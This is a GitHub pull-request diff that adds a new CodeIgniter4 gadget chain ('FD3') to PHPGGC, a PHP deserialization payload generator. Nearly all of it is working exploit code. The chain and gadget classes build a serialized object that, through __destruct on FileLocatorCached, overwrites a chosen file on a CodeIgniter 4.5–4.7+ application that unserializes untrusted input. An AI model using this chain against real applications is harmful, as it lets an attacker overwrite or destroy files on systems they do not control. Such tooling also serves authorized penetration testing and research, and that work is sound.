Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions gadgetchains/CodeIgniter4/FD/3/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?php

namespace GadgetChain\CodeIgniter4;

class FD3 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '4.5 <= 4.7+';
public static $vector = '__destruct';
public static $author = 'reverseth';
public static $information = 'Actually, this POP chain writes (or replaces the content of) the choosen file with the following content : "<?php return array (0 => \'\',);" It is also possible to choose a string to write inside the array ("<?php return array (0 => \'<here>\',);"), but I did not find a way to execute it. Thus, I decided to push it as a FD, and not as a FW.';

public function generate(array $parameters)
{
$obj = new \CodeIgniter\Autoloader\FileLocatorCached($parameters['remote_path']);
$obj->cacheHandler = new \CodeIgniter\Cache\FactoriesCache\FileVarExportHandler();
return $obj;
}
}
25 changes: 25 additions & 0 deletions gadgetchains/CodeIgniter4/FD/3/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<?php

namespace CodeIgniter\Cache\FactoriesCache
{
class FileVarExportHandler
{
public $path = "";
}
}

namespace CodeIgniter\Autoloader
{
class FileLocatorCached
{
public $cacheUpdated = true;
public $cacheKey;
public $cache = [""];
public $cacheHandler;

public function __construct($remote_path)
{
$this->cacheKey = $remote_path;
}
}
}